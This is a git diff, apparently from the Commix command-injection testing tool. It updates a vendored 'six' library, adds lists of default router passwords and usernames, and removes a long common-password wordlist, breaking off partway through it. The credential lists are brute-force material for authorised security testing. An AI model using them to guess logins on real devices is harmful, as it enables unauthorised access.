a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py new file mode 100644 index 0000000000..2d8951f0fe --- /dev/null +++ b/src/thirdparty/odict/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python + +import sys + +if sys.version_info[:2] >= (2, 7): + from collections import OrderedDict +else: + from src.thirdparty.six.moves import collections_abc as _collections + from _collections import OrderedDict diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py index 89b2188fd6..d4fe9849f2 100644 --- a/src/thirdparty/six/__init__.py +++ b/src/thirdparty/six/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2018 Benjamin Peterson +# Copyright (c) 2010-2020 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -29,7 +29,7 @@ import types __author__ = "Benjamin Peterson " -__version__ = "1.12.0" +__version__ = "1.16.0" # Useful for very coarse version differentiation. @@ -71,6 +71,11 @@ def __len__(self): MAXSIZE = int((1 << 63) - 1) del X +if PY34: + from importlib.util import spec_from_loader +else: + spec_from_loader = None + def _add_doc(func, doc): """Add documentation to a function.""" @@ -186,6 +191,11 @@ def find_module(self, fullname, path=None): return self return None + def find_spec(self, fullname, path, target=None): + if fullname in self.known_modules: + return spec_from_loader(fullname, self) + return None + def __get_module(self, fullname): try: return self.known_modules[fullname] @@ -223,6 +233,12 @@ def get_code(self, fullname): return None get_source = get_code # same as get_code + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass + _importer = _SixMetaPathImporter(__name__) @@ -247,7 +263,7 @@ class _MovedItems(_LazyModule): MovedAttribute("reduce", "__builtin__", "functools"), MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), MovedAttribute("StringIO", "StringIO", "io"), - MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), MovedAttribute("UserList", "UserList", "collections"), MovedAttribute("UserString", "UserString", "collections"), MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), @@ -255,9 +271,11 @@ class _MovedItems(_LazyModule): MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), - MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), @@ -637,13 +655,16 @@ def u(s): import io StringIO = io.StringIO BytesIO = io.BytesIO + del io _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" else: def b(s): return s @@ -665,6 +686,7 @@ def indexbytes(buf, i): _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") @@ -681,6 +703,10 @@ def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + if PY3: exec_ = getattr(moves.builtins, "exec") @@ -716,16 +742,7 @@ def exec_(_code_, _globs_=None, _locs_=None): """) -if sys.version_info[:2] == (3, 2): - exec_("""def raise_from(value, from_value): - try: - if from_value is None: - raise value - raise value from from_value - finally: - value = None -""") -elif sys.version_info[:2] > (3, 2): +if sys.version_info[:2] > (3,): exec_("""def raise_from(value, from_value): try: raise value from from_value @@ -805,13 +822,33 @@ def print_(*args, **kwargs): _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): - def wrapper(f): - f = functools.wraps(wrapped, assigned, updated)(f) - f.__wrapped__ = wrapped - return f - return wrapper + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + else: wraps = functools.wraps @@ -824,7 +861,15 @@ def with_metaclass(meta, *bases): class metaclass(type): def __new__(cls, name, this_bases, d): - return meta(name, bases, d) + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) @classmethod def __prepare__(cls, name, this_bases): @@ -861,12 +906,11 @@ def ensure_binary(s, encoding='utf-8', errors='strict'): - `str` -> encoded to `bytes` - `bytes` -> `bytes` """ + if isinstance(s, binary_type): + return s if isinstance(s, text_type): return s.encode(encoding, errors) - elif isinstance(s, binary_type): - return s - else: - raise TypeError("not expecting type '%s'" % type(s)) + raise TypeError("not expecting type '%s'" % type(s)) def ensure_str(s, encoding='utf-8', errors='strict'): @@ -880,12 +924,15 @@ def ensure_str(s, encoding='utf-8', errors='strict'): - `str` -> `str` - `bytes` -> decoded to `str` """ - if not isinstance(s, (text_type, binary_type)): - raise TypeError("not expecting type '%s'" % type(s)) + # Optimization: Fast return for the common case. + if type(s) is str: + return s if PY2 and isinstance(s, text_type): - s = s.encode(encoding, errors) + return s.encode(encoding, errors) elif PY3 and isinstance(s, binary_type): - s = s.decode(encoding, errors) + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) return s @@ -908,10 +955,9 @@ def ensure_text(s, encoding='utf-8', errors='strict'): raise TypeError("not expecting type '%s'" % type(s)) - def python_2_unicode_compatible(klass): """ - A decorator that defines __unicode__ and __str__ methods under Python 2. + A class decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/txt/__init__.py similarity index 87% rename from src/core/modules/dns_exfiltration/__init__.py rename to src/txt/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/modules/dns_exfiltration/__init__.py +++ b/src/txt/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/txt/default_passwords.txt b/src/txt/default_passwords.txt new file mode 100644 index 0000000000..d9cb41b02b --- /dev/null +++ b/src/txt/default_passwords.txt @@ -0,0 +1,168 @@ +0000 +0123456789 +0P3N +1 +123 +1234 +12345 +123456 +12345678 +123456789 +1234567890 +3bb +3play +3UJUh2VemEfUtesEchEC2d2e +4135279 +@HuaweiHgw +abcd12345 +access key on label +addon +admim +admin +Admin +admin01 +admin1 +Admin123 +admin_Ultimate +adminHW +Administrator +administrator +adminpldt +admintelecom +advanced +airlive +aisadmin +atlantis +attadmin +Aztechadmin +barricade +bayandsl +belong +bEn2o#US9s +bezeqint +broadband +BSNL1234 +cableroot +cciadmin +changeme +cht +chtnvdsl +cisco +Cl@r0 +comcast +conexant +conf +Conf +ctAdmin +cusadmin +cytauser +default +digi +digicel +draadloos +DSL +dsmart +Enduser +enduser +entel +epicrouter +Epuser +Expert +fastweb +fritzfonbox +geekadsl +Gponinstalador@123 +gttuser +guest +Guest +gvt12345 +hamlet +highspeed +home +homebro +HPN +hsparouter +HuaweiUser +ipbbx +kpn +KPN +kpn-adsl +lightweight +linksys +liveboxfibra +loqal +LTEcpe +MaxisBB +menara +meo +motorola +Motorola +mtn +mysweex +NEMONTadmin +netis +NOLOGIN +on +OP3N +oper1234 +operator +optus +ovislink +password +password +password1 +pentagram +pfsense +primus +public +pz938qd6 +pz938qdx +root +router +scmcadmin +SerialNumber +sitecom +sky +smartbro +smc +smcadmin +SpeedStream +superonline +superu +superuser +support +surecom +sweex +tattoo@home +Techni1789# +telecomadmin +telekom +telekomst +TELMEX +telstra +Telstra +telus +test +tmadmin +tot +trendchip +trustpower +ttnet +ubnt +unknown +user +User +useradmin +userEp +utstar +VF-IRhg556 +vivo12345 +vodafone +voo +webadmin +Xavi +zain +zhone +ziggo +zoomadsl +ZXDSL \ No newline at end of file diff --git a/src/txt/default_usernames.txt b/src/txt/default_usernames.txt new file mode 100644 index 0000000000..7020ac13de --- /dev/null +++ b/src/txt/default_usernames.txt @@ -0,0 +1,14 @@ +!root +111111 +1234 +123456 +admin +admin1 +administrator +anonymous +cisco +root +r00t +test +webadmin +user \ No newline at end of file diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt deleted file mode 100644 index b2f7356939..0000000000 --- a/src/txt/passwords_john.txt +++ /dev/null @@ -1,3107 +0,0 @@ -12345 -abc123 -password -computer -123456 -tigger -1234 -a1b2c3 -qwerty -123 -xxx -money -test -carmen -mickey -secret -summer -internet -service - -canada -hello -ranger -shadow -baseball -donald -harley -hockey -letmein -maggie -mike -mustang -snoopy -buster -dragon -jordan -michael -michelle -mindy -patrick -123abc -andrew -bear -calvin -changeme -diamond -fuckme -fuckyou -matthew -miller -ou812 -tiger -trustno1 -12345678 -alex -apple -avalon -brandy -chelsea -coffee -dave -falcon -freedom -gandalf -golf -green -helpme -linda -magic -merlin -molson -newyork -soccer -thomas -wizard -Monday -asdfgh -bandit -batman -boris -butthead -dorothy -eeyore -fishing -football -george -happy -iloveyou -jennifer -jonathan -love -marina -master -missy -monday -monkey -natasha -ncc1701 -newpass -pamela -pepper -piglet -poohbear -pookie -rabbit -rachel -rocket -rose -smile -sparky -spring -steven -success -sunshine -thx1138 -victoria -whatever -zapata -1 -8675309 -Internet -amanda -andy -angel -august -barney -biteme -boomer -brian -casey -coke -cowboy -delta -doctor -fisher -foobar -island -john -joshua -karen -marley -orange -please -rascal -richard -sarah -scooter -shalom -silver -skippy -stanley -taylor -welcome -zephyr -111111 -1928 -aaaaaa -abc -access -albert -alexander -andrea -anna -anthony -asdfjkl; -ashley -basf -basketball -beavis -black -bob -booboo -bradley -brandon -buddy -caitlin -camaro -charlie -chicken -chris -cindy -cricket -dakota -dallas -daniel -david -debbie -dolphin -elephant -emily -fish -fred -friend -fucker -ginger -goodluck -hammer -heather -help -iceman -jason -jessica -jesus -joseph -jupiter -justin -kevin -knight -lacrosse -lakers -lizard -madison -mary -mother -muffin -murphy -ncc1701d -newuser -nirvana -none -paris -pat -pentium -phoenix -picture -rainbow -sandy -saturn -scott -shannon -shithead -skeeter -sophie -special -stephanie -stephen -steve -sweetie -teacher -tennis -test123 -tommy -topgun -tristan -wally -william -wilson -1q2w3e -654321 -666666 -777 -a12345 -a1b2c3d4 -alpha -amber -angela -angie -archie -asdf -blazer -bond007 -booger -charles -christin -claire -control -danny -david1 -dennis -digital -disney -dog -duck -duke -edward -elvis -felix -flipper -floyd -franklin -frodo -guest -honda -horses -hunter -indigo -info -james -jasper -jeremy -joe -julian -kelsey -killer -kingfish -lauren -marie -maryjane -matrix -maverick -mayday -mercury -micro -mitchell -morgan -mountain -niners -nothing -oliver -peace -peanut -pearljam -phantom -popcorn -princess -psycho -pumpkin -purple -randy -rebecca -reddog -robert -rocky -roses -salmon -sam -samson -sharon -sierra -smokey -startrek -steelers -stimpy -sunflower -superman -support -sydney -techno -telecom -test1 -walter -willie -willow -winner -ziggy -zxcvbnm -7777 -OU812 -a -absolut -alaska -alexis -alice -animal -apples -babylon5 -backup -barbara -benjamin -bill -billy -bird33 -blue -bluebird -bobby -bonnie -bubba -camera -chocolate -clark -claudia -cocacola -compton -connect -cookie -cruise -deliver -douglas -dreamer -dreams -duckie -eagles -eddie -einstein -enter -explorer -faith -family -ferrari -fire -flamingo -flip -flower -foxtrot -francis -freddy -friday -froggy -galileo -giants -gizmo -global -goofy -gopher -hansolo -happy1 -hendrix -henry -herman -homer -honey -house -houston -iguana -indiana -insane -inside -irish -ironman -jake -jane -jasmin -jeanne -jerry -jim -joey -justice -katherine -kermit -kitty -koala -larry -leslie -logan -lucky -mark -martin -matt -minnie -misty -mitch -mom -mouse -nancy -nascar -nelson -netware -pantera -parker -passwd -penguin -peter -phil -phish -piano -pizza -porsche911 -prince -punkin -pyramid -rain -raymond -red -robin -roger -rosebud -route66 -royal -running -sadie -sasha -security -sergei -sheena -sheila -skiing -snapple -snowball -sparrow -spencer -spike -star -stealth -student -sun -sunny -sylvia -tamara -taurus -tech -teresa -theresa -thunderbird -tigers -tony -toyota -training -travel -truck -tuesday -victory -video -viper1 -volvo -wesley -whisky -winnie -winter -wolves -xyz123 -zorro -!@#$% -007 -123123 -1234567 -1969 -5683 -696969 -888888 -Anthony -Bond007 -Friday -Hendrix -Joshua -Matthew -October -Taurus -Tigger -aaa -aaron -abby -abcdef -adidas -adrian -alexandr -alfred -arthur -athena -austin -awesome -badger -bamboo -beagle -bears -beatles -beautiful -beaver -benny -bigmac -bingo -bitch -blonde -boogie -boston -brenda -bright -bubba1 -bubbles -buffy -button -buttons -cactus -candy -captain -carlos -caroline -carrie -casper -catalog -catch22 -challenge -chance -charity -charlotte -cheese -cheryl -chloe -chris1 -clancy -clipper -coltrane -compaq -conrad -cooper -cooter -copper -cosmos -cougar -cracker -crawford -crystal -curtis -cyclone -cyrano -dan -dance -dawn -dean -deutsch -diablo -dilbert -dollars -dookie -doom -dumbass -dundee -e-mail -elizabeth -eric -europe -export -farmer -firebird -fletcher -fluffy -ford -fountain -fox -france -freak1 -friends -frog -fuckoff -gabriel -gabriell -galaxy -gambit -garden -garfield -garlic -garnet -genesis -genius -godzilla -goforit -golfer -goober -grace -grateful -greenday -groovy -grover -guitar -hacker -harry -hazel -hector -herbert -hoops -horizon -hornet -howard -icecream -imagine -impala -informix -jack -janice -jasmine -jason1 -jeanette -jeffrey -jenifer -jenni -jesus1 -jewels -joker -julie -julie1 -junior -justin1 -kathleen -keith -kelly -kelly1 -kennedy -kevin1 -knicks -lady -larry1 -ledzep -lee -leonard -lestat -library -lincoln -lionking -london -louise -lucky1 -lucy -maddog -mailman -majordomo -mantra -margaret -mariposa -market -marlboro -martin1 -marty -master1 -mazda1 -mensuck -mercedes -metal -metallic -midori -mikey -millie -mirage -mmm -molly -monet -money1 -monica -monopoly -mookie -moose -moroni -music -naomi -nathan -ncc1701e -nesbitt -news -nguyen -nicholas -nicole -nimrod -october -olive -olivia -one -online -open -oscar -oxford -pacific -painter -peaches -penelope -pepsi -pete -petunia -philip -phoenix1 -photo -pickle -player -poiuyt -porsche -porter -ppp -puppy -python -quality -quest -raquel -raven -remember -republic -research -robbie -robert1 -roman -rugby -runner -russell -ryan -sailing -sailor -samantha -savage -sbdc -scarlett -school -sean -seven -shadow1 -sheba -shelby -shit -shoes -simba -simple -skipper -smiley -snake -snickers -sniper -snoopdog -snowman -sonic -spitfire -sprite -spunky -starwars -station -stella -stingray -storm -stormy -stupid -sumuinen -sunny1 -sunrise -supra -surfer -susan -tammy -tango -tanya -tara -teddy1 -temp -testing -theboss -theking -thumper -tina -tintin -tomcat -trebor -trek -trevor -tweety -unicorn -valentine -valerie -vanilla -veronica -victor -vincent -viper -warrior -warriors -weasel -wheels -wilbur -winston -wisdom -wombat -xanadu -xavier -xxxx -yellow -zaphod -zeppelin -zeus -!@#$%^ -!@#$%^&* -* -0007 -1022 -10sne1 -1111 -1212 -1911 -1948 -1973 -1978 -1996 -1p2o3i -2000 -2222 -3bears -5252 -Andrew -Broadway -Champs -Family -Fisher -Friends -Jeanne -Killer -Knight -Master -Michael -Michelle -Pentium -Pepper -Raistlin -Sierra -Snoopy -Tennis -Tuesday -abacab -abcd -abcd1234 -abcdefg -abigail -account -ace -acropolis -adam -adi -alex1 -alice1 -allison -alpine -amy -anders -andre1 -andrea1 -angel1 -anita -annette -antares -apache -apollo -aragorn -arizona -arnold -arsenal -asdfasdf -asdfg -asdfghjk -avenger -avenir -baby -babydoll -bach -bailey -banana -barry -basil -basket -bass -batman1 -beaner -beast -beatrice -beer -bella -ben -bertha -bigben -bigdog -biggles -bigman -binky -biology -bishop -bliss -blondie -blowfish -bluefish -bmw -bobcat -bosco -boss -braves -brazil -bridges -bruce -bruno -brutus -buck -buffalo -bugsy -bull -bulldog -bullet -bullshit -bunny -business -butch -butler -butter -california -cannondale -canon -carebear -carol -carol1 -carole -cassie -castle -catalina -catherine -catnip -cccccc -celine -center -champion -chanel -chaos -chelsea1 -chester1 -chicago -chico -chip -christian -christy -church -cinder -civil -colleen -colorado -columbia -commander -connie -content -cook -cookies -cooking -cordelia -corona -cowboys -coyote -crack1 -craig -creative -crow -cuddles -cuervo -cutie -cyber -daddy -daisie -daisy -daniel1 -danielle -dark1 -database -davids -deadhead -death -denali -denis -depeche -derek -design -destiny -diana -diane -dickens -dickhead -digger -dodger -don -donna -dougie -draft -dragonfly -dylan -eagle -eclipse -electric -emerald -emmitt -entropy -etoile -excalibur -express -farout -farside -feedback -fender -fidel -fiona -fireman -firenze -fish1 -flash -fletch -florida -flowers -fool -foster -fozzie -francesco -francine -francois -frank -french -fuckface -fun -gargoyle -gasman -gemini -general -gerald -germany -gilbert -goaway -gold -golden -goldfish -goose -gordon -graham -grant -graphic -gregory -gretchen -gunner -hal9000 -hannah -harold -harrison -harvey -hawkeye -heaven -heidi -helen -helena -hell -herzog -hithere -hobbit -huey -ibanez -idontknow -image -integra -intern -intrepid -ireland -irene -isaac -isabel -jackie -jackson -jaguar -jamaica -japan -jeff -jenny1 -jessie -jethrotull -jkl123 -joel -johan -johanna1 -johnny -joker1 -jordan23 -judith -julia -jumanji -jussi -kangaroo -karen1 -kathy -keepout -keith1 -kenneth -kidder -kim -kimberly -king -kingdom -kirk -kitkat -kramer -kris -kristen -lambda -laura -laurie -law -lawrence -lawyer -legend -leon -liberty -light -lindsay -lindsey -lisa -liverpool -logical -lola -lonely -lorrie -louis -lovely -loveme -lucas -m -madonna -mail -major -malcolm -malibu -marathon -marcel -maria1 -mariah -mariah1 -marilyn -mariner -mario -mark1 -marvin -maurice -max -maxine -maxwell -me -media -meggie -melanie -melissa -melody -merlot -mexico -michael1 -michele -midnight -midway -mike1 -miki -mine -miracle -misha -mishka -mmouse -molly1 -monique -montreal -moocow -moon -moore -mopar -morris -mort -mortimer -mouse1 -mulder -nautica -nellie -nermal -new -newton -nicarao -nick -nina -nirvana1 -nissan -norman -notebook -ocean -olivier -ollie -olsen -opera -opus -oranges -oregon -orion -overkill -pacers -packer -panda -pandora -panther -passion -patricia -pearl -peewee -pencil -penny -people -percy -person -peter1 -petey -picard -picasso -pierre -pinkfloyd -pit -plus -polar -polaris -police -polo -pookie1 -poppy -power -predator -preston -primus -prometheus -public -q1w2e3 -queen -queenie -quentin -radio -ralph -random -rangers -raptor -rastafarian -reality -redrum -remote -reptile -reynolds -rhonda -ricardo -ricardo1 -ricky -river -roadrunner -rob -robinhood -robotech -rocknroll -rocky1 -rodeo -rolex -ronald -rouge -roxy -roy -ruby -ruthie -sabrina -sakura -salasana -sally -sampson -samuel -sandra -santa -sapphire -scarecrow -scarlet -scorpio -scott1 -scottie -scout -scruffy -scuba1 -seattle -serena -sergey -shanti -shark -shogun -simon -singer -skibum -skull -skunk -skywalker -slacker -smashing -smiles -snowflake -snowski -snuffy -soccer1 -soleil -sonny -sound -spanky -speedy -spider -spooky -stacey -star69 -start -starter -steven1 -sting1 -stinky -strawberry -stuart -sugar -sunbird -sundance -superfly -suzanne -suzuki -swimmer -swimming -system -taffy -tarzan -tbird -teddy -teddybear -teflon -temporal -terminal -terry -the -theatre -thejudge -thunder -thursday -time -tinker -toby -today -tokyo -tootsie -tornado -tracy -tree -tricia -trident -trojan -trout -truman -trumpet -tucker -turtle -tyler -utopia -vader -val -valhalla -visa -voyager -warcraft -warlock -warren -water -wayne -wendy -williams -willy -win95 -windsurf -winona -wolf -wolf1 -woody -woofwoof -wrangler -wright -www -xcountry -xfiles -xxxxxx -y -yankees -yoda -yukon -yvonne -zebra -zenith -zigzag -zombie -zxc123 -zxcvb -zzz -000000 -007007 -11111 -11111111 -1213 -1214 -1225 -123321 -1313 -1316 -1332 -1412 -1430 -171717 -1818 -181818 -1950 -1952 -1953 -1955 -1956 -1960 -1964 -1975 -1977 -1991 -1a2b3c -1chris -1kitty -1qw23e -2001 -2020 -2112 -22 -2200 -2252 -2kids -3010 -3112 -3141 -333 -3533 -4055 -4444 -4788 -4854 -4runner -5050 -5121 -54321 -55555 -57chevy -6262 -6301 -6969 -7777777 -789456 -7dwarfs -88888888 -Abcdefg -Alexis -Alpha -Animals -Ariel -BOSS -Bailey -Bastard -Beavis -Bismillah -Bonzo -Booboo -Boston -Canucks -Cardinal -Carol -Celtics -ChangeMe -Charlie -Chris -Computer -Cougar -Creative -Curtis -Daniel -Darkman -Denise -Dragon -Eagles -Elizabeth -Esther -Figaro -Fishing -Fortune -Freddy -Front242 -Gandalf -Geronimo -Gingers -Golden -Goober -Gretel -HARLEY -Hacker -Hammer -Harley -Heather -Henry -Hershey -Homer -Jackson -Janet -Jennifer -Jersey -Jessica -Joanna -Johnson -Jordan -KILLER -Katie -Kitten -Liberty -Lindsay -Lizard -Madeline -Margaret -Maxwell -Mellon -Merlot -Metallic -Michel1 -Money -Monster -Montreal -Newton -Nicholas -Noriko -Paladin -Pamela -Password -Peaches -Peanuts -Peter -Phoenix -Piglet -Pookie -Princess -Purple -Rabbit -Raiders -Random -Rebecca -Robert -Russell -Sammy -Saturn -Service -Shadow -Sidekick -Skeeter -Smokey -Sparky -Speedy -Sterling -Steven -Summer -Sunshine -Superman -Sverige -Swoosh -Taylor -Theresa -Thomas -Thunder -Vernon -Victoria -Vincent -Waterloo -Webster -Willow -Winnie -Wolverine -Woodrow -World -aa -aaaa -aardvark -abbott -abcd123 -abcde -accord -active -acura -adg -admin -admin1 -adrock -aerobics -africa -agent -airborne -airwolf -aki123 -alfaro -ali -alicia -alien -aliens -alina -aline -alison -allegro -allen -allstate -aloha -alpha1 -altamira -althea -altima -altima1 -amanda1 -amazing -america -amour -anderson -andre -andrew! -andrew1 -andromed -angels -angie1 -ann -anne -anneli -annie -anything -apple1 -apple2 -applepie -april -aptiva -aqua -aquarius -ariane -ariel -arlene -arrow -artemis -asdf1234 -asdf;lkj -asdfjkl -ashley1 -ashraf -ashton -assmunch -asterix -attila -autumn -avatar -ayelet -aylmer -babes -bambi -baraka -barbie -barn -barney1 -barnyard -barrett -bart -bartman -bball -beaches -beanie -beans -beasty -beauty -beavis1 -bebe -becca -belgium -belize -belle -belmont -benji -benson -beowulf -bernardo -berry -beryl -best -beta -betacam -betsy -betty -bharat -bichon -bigal -bigboss -bigred -biker -bilbo -bills -billy1 -bimmer -bioboy -biochem -birdie -birdy -birthday -biscuit -bitter -biz -blackjack -blah -blanche -blinds -blitz -blood -blowjob -blowme -blueeyes -bluejean -blues -boat -bogart -bogey -bogus -bombay -boobie -boots -bootsie -boulder -bourbon -boxer -boxers -bozo -brain -branch -brandi -brent -brewster -bridge -britain -broker -bronco -bronte -brooke -brother -bryan -bubble -bucks -buddha -budgie -buffett -bugs -bulls -burns -burton -butterfly -buzz -byron -c00per -calendar -calgary -calvin1 -camay -camel -camille -campbell -camping -cancer -canela -cannon -car -carbon -carl -carnage -carolyn -carrot -cascade -cat -catfish -cathy -catwoman -cecile -celica -cement -cessna -chad -chainsaw -chameleon -chang -change -chantal -charger -chat -cherry -chess -chiara -chiefs -china -chinacat -chinook -chouette -chris123 -christ1 -christmas -christopher -chronos -chuck -cicero -cindy1 -cinema -circuit -cirque -cirrus -civic -clapton -clarkson -class -claude -claudel -cleo -cliff -clock -clueless -cobain -cobra -cody -colette -college -color -colors -colt45 -comet -concept -concorde -confused -cool -coolbean -cora -corky -cornflake -corvette -corwin -cosmo -country -courier -cows -crescent -cross -crowley -crusader -cthulhu -cuda -cunningham -cunt -cupcake -current -cutlass -cynthia -daedalus -dagger -dagger1 -daily -dale -dammit -damogran -dana -dancer -daphne -darkstar -darren -darryl -darwin -data1 -datatrain -daytek -dead -deborah -december -decker -deedee -deeznuts -def -delano -delete -demon -denise -denny -desert -deskjet -detroit -devil -devine -devon -dexter -dharma -dianne -diesel -dillweed -dim -dipper -director -disco -dixie -dixon -doc -dodgers -dogbert -doggy -doitnow -dollar -dolly -dominique -domino -dontknow -doogie -doors -dork -doudou -doug -downtown -dragon1 -driver -dude -dudley -dutch -dutchess -dwight -eagle1 -easter -eastern -edith -edmund -effie -eieio -eight -element -elina1 -elissa -ella -ellen -elliot -elsie -empire -engage -enigma -enterprise -eric1 -erin -ernie1 -escort -escort1 -estelle -eugene -evelyn -excel -explore -eyal -faculty -fairview -family1 -fatboy -faust -felipe -fenris -ferguson -ferret -ferris -finance -fireball -first -fishes -fishhead -fishie -flanders -fleurs -flight -florida1 -flowerpot -flute -fly -flyboy -flyer -forward -franka -freddie -frederic -free -freebird -freeman -frisco -fritz -froggie -froggies -frogs -front242 -frontier -fucku -fugazi -funguy -funtime -future -fuzz -gabby -gaby -gaelic -gambler -games -gammaphi -garcia -garfunkel -garth -gary -gaston -gateway -gateway2 -gator1 -george1 -georgia -german -germany1 -getout -ggeorge -ghost -gibbons -gibson -gigi -gilgamesh -giselle -glider1 -gmoney -goat -goblin -goblue -godiva -goethe -gofish -gollum -gone -good -gramps -grandma -gravis -gray -greed -greg -greg1 -gremlin -greta -gretzky -grizzly -grumpy -guess -guido -guitar1 -gumby -gustavo -h2opolo -haggis -haha -hailey -hal -halloween -hallowell -hamid -hamilton -hamlet -hank -hanna -hanson -happy123 -happyday -hardcore -harley1 -haro -harriet -harris -harvard -hawk -hawkeye1 -health -health1 -heart -heather1 -heather2 -hedgehog -heikki -helene -hello1 -hello123 -hello8 -hellohello -help123 -helper -hermes -heythere -highland -hilda -hillary -histoire -history -hitler -hobbes -holiday -holly -homerj -honda1 -hongkong -hoosier -hootie -hope -horse -hosehead -hotrod -huang -hudson -hugh -hugo -hummer -huskies -hydrogen -i -ib6ub9 -idiot -if6was9 -iforget -ilmari -iloveu -impact -indonesia -ingvar -insight -instruct -integral -iomega -irina -iris -irmeli -isabelle -israel -italia -italy -izzy -j0ker -j1l2t3 -jackie1 -jacob -jakey -james1 -jamesbond -jamie -jamjam -jan -jazz -jean -jedi -jeepster -jeffrey1 -jennie -jenny -jensen -jer -jesse -jesse1 -jester -jethro -jetta1 -jimbob -jimi -jimmy -joanie -joanna -joelle -john316 -jordie -jorge -josee -josh -journey -joy -joyce -jubilee -juhani -jules -julia2 -julien -juliet -jumbo -jump -junebug -juniper -justdoit -justice4 -kalamazo -kali -karin -karine -karma -kat -kate -katerina -katie -katie1 -kayla -kcin -keeper -keller -kendall -kenny -kerala -kerrya -ketchup -khan -kids -kings -kissa2 -kissme -kitten -kittycat -kiwi -kkkkkk -kleenex -kombat -kristi -kristine -lab1 -labtec -laddie -ladybug -lamer -lance -laser -laserjet -lassie1 -laurel -lawson -leader -leaf -leblanc -legal -leland -lemon -leo -lester -letter -letters -lev -lexus1 -libra -life -lights -lima -lionel -lions -lissabon -little -liz -lizzy -logger -logos -loislane -loki -lolita -lonestar -longer -longhorn -looney -loren -lori -lorna -loser -lost -lotus -lou -lovers -loveyou -lucia -lucifer -lucky14 -macha -macross -macse30 -maddie -madmax -madoka -magic1 -magnum -maiden -maine -makeitso -mallard -manageme -manson -manuel -marc -marcus -maria -marielle -marine -marino -marshall -mart -martha -math -matti1 -mattingly -maxmax -meatloaf -mech -mechanic -medical -megan -meister -melina -memphis -mercer -merde -mermaid -merrill -miami -michal -michel -michigan -michou -mickel -mickey1 -microsoft -midvale -mikael -milano -miles -millenium -million -minou -miranda -miriam -mission -mmmmmm -mobile -mobydick -modem -mojo -monkey1 -monroe -montana -montana3 -montrose -monty -moomoo -moonbeam -morecats -morpheus -motor -motorola -movies -mowgli -mozart -mulder1 -munchkin -murray -muscle -mustang1 -nadia -nadine -napoleon -nation -national -neil -neko -nesbit -nestle -neutrino -newaccount -newlife -newyork1 -nexus6 -nichole -nicklaus -nightshadow -nightwind -nike -nikita -nikki -nintendo -nisse -nokia -nomore -none1 -nopass -normal -norton -notta1 -nouveau -novell -noway -nugget -number9 -numbers -nurse -nutmeg -oaxaca -obiwan -obsession -ohshit -oicu812 -omega -openup -orchid -oreo -orlando -orville -otter -ozzy -paagal -packard -packers -packrat -paint -paloma -pam -pancake -panic -papa -paradigm -park -parola -parrot -partner -pascal -pass -patches -patriots -paula -pauline -pavel 